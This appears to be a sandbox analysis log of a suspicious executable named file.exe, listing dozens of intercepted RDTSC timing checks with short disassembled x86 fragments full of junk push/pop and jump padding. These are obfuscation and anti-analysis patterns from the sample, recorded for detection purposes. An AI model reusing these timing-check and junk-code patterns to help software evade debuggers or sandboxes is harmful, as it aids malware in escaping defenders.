Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12333EB second address: 12333FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007FF275345488h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12333FB second address: 123341B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF274F0FD36h 0x0000000a jo 00007FF274F0FD36h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF274F0FD3Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237C4F second address: 1237C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DA4 second address: 1237DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DAA second address: 1237DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DB0 second address: 1237DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DB5 second address: 1237DC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF27534548Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1237DC9 second address: 1237DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD43h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FF274F0FD3Ch 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1669 second address: 11E1675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF27534548Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1675 second address: 11E170C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007FF274F0FD38h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov ebx, dword ptr [ebp+124956D9h] 0x00000028 jmp 00007FF274F0FD3Fh 0x0000002d add eax, ebx 0x0000002f push eax 0x00000030 jns 00007FF274F0FD4Fh 0x00000036 mov dword ptr [esp], eax 0x00000039 mov dword ptr [ebp+122D37D4h], ecx 0x0000003f push 00000004h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007FF274F0FD38h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000019h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b and ecx, dword ptr [ebp+122D185Dh] 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E170C second address: 11E1724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF275345493h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1887 second address: 11E1905 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF274F0FD3Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FF274F0FD38h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov di, C129h 0x0000002e mov dword ptr [ebp+122D2096h], edx 0x00000034 jnp 00007FF274F0FD38h 0x0000003a push 0000001Eh 0x0000003c mov ecx, 243E4C14h 0x00000041 nop 0x00000042 pushad 0x00000043 jmp 00007FF274F0FD49h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238392 second address: 1238397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238522 second address: 1238557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jbe 00007FF274F0FD36h 0x0000000c popad 0x0000000d jmp 00007FF274F0FD3Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF274F0FD42h 0x00000019 jp 00007FF274F0FD36h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238557 second address: 123855B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123855B second address: 1238561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238EFE second address: 1238F09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF275345486h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1238F09 second address: 1238F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123F27D second address: 123F293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345492h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123F546 second address: 123F54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FA69 second address: 123FA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF275345486h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123FA75 second address: 123FA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12400FA second address: 1240102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240102 second address: 1240109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240109 second address: 124012D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345495h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c js 00007FF275345486h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124012D second address: 1240132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240132 second address: 124013C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124041D second address: 1240429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jns 00007FF274F0FD36h 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240429 second address: 124042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124042F second address: 1240445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240A07 second address: 1240A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jg 00007FF275345494h 0x0000000d popad 0x0000000e jc 00007FF2753454A2h 0x00000014 pushad 0x00000015 jo 00007FF275345486h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240A32 second address: 1240A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240A38 second address: 1240A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D13 second address: 1240D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240D19 second address: 1240D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF275345498h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF275345492h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241048 second address: 1241052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF274F0FD36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241052 second address: 1241071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF275345495h 0x00000007 js 00007FF275345486h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241071 second address: 1241090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD49h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1241090 second address: 1241094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245A39 second address: 1245A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD3Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248B3A second address: 1248B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248B3E second address: 1248B42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248B42 second address: 1248B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248B48 second address: 1248B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jl 00007FF274F0FD36h 0x0000000b popad 0x0000000c ja 00007FF274F0FD42h 0x00000012 jnc 00007FF274F0FD36h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248E4B second address: 1248E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF275345495h 0x00000009 jp 00007FF275345486h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1248E6A second address: 1248E82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12493B1 second address: 12493B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1249665 second address: 124966B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124966B second address: 1249680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF27534548Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12500E6 second address: 12500EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12500EA second address: 1250114 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF275345490h 0x00000008 jmp 00007FF275345495h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125056E second address: 1250574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250574 second address: 125057D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125057D second address: 1250583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250583 second address: 1250594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FF275345486h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1250594 second address: 12505C8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF274F0FD36h 0x00000008 jmp 00007FF274F0FD43h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF274F0FD47h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12505C8 second address: 12505CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12505CE second address: 12505D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12505D4 second address: 12505D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12505D8 second address: 12505DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191027 second address: 1191034 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF275345486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1191034 second address: 119103A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12582D4 second address: 12582E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007FF275345486h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1258455 second address: 125845F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF274F0FD36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125845F second address: 1258475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF275345490h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269EBA second address: 1269ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FF274F0FD40h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269ECF second address: 1269F1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF27534548Bh 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FF27534548Fh 0x0000001c popad 0x0000001d push ecx 0x0000001e jmp 00007FF275345497h 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 jno 00007FF275345486h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DBCD second address: 127DBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DD49 second address: 127DD4E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DEB2 second address: 127DED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF274F0FD44h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FF274F0FD36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DED3 second address: 127DED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283D0C second address: 1283D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283D25 second address: 1283D36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF275345488h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295FB2 second address: 1295FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295FB6 second address: 1295FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295E0B second address: 1295E0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295E0F second address: 1295E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295E15 second address: 1295E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FF274F0FD36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295E21 second address: 1295E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129817F second address: 129818C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FF274F0FD3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299A3F second address: 1299A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF275345486h 0x0000000a popad 0x0000000b jl 00007FF275345488h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299A52 second address: 1299A5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007FF274F0FD36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12998CC second address: 12998D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12998D2 second address: 12998D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12998D6 second address: 12998E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF275345486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12998E2 second address: 12998E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B051 second address: 129B057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B057 second address: 129B06D instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF274F0FD38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jno 00007FF274F0FD36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B06D second address: 129B0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FF275345498h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF275345494h 0x00000013 jnp 00007FF275345486h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B0A8 second address: 129B0C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF274F0FD44h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA974 second address: 12AA984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF27534548Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A35E9 second address: 11A3618 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF274F0FD36h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF274F0FD3Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF274F0FD42h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3618 second address: 11A3622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FF275345486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A3622 second address: 11A3626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2BCB second address: 12C2BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1AF7 second address: 12C1AFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1C44 second address: 12C1C63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jns 00007FF275345486h 0x0000000d jmp 00007FF275345491h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1C63 second address: 12C1C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1C69 second address: 12C1C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1C6D second address: 12C1C7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
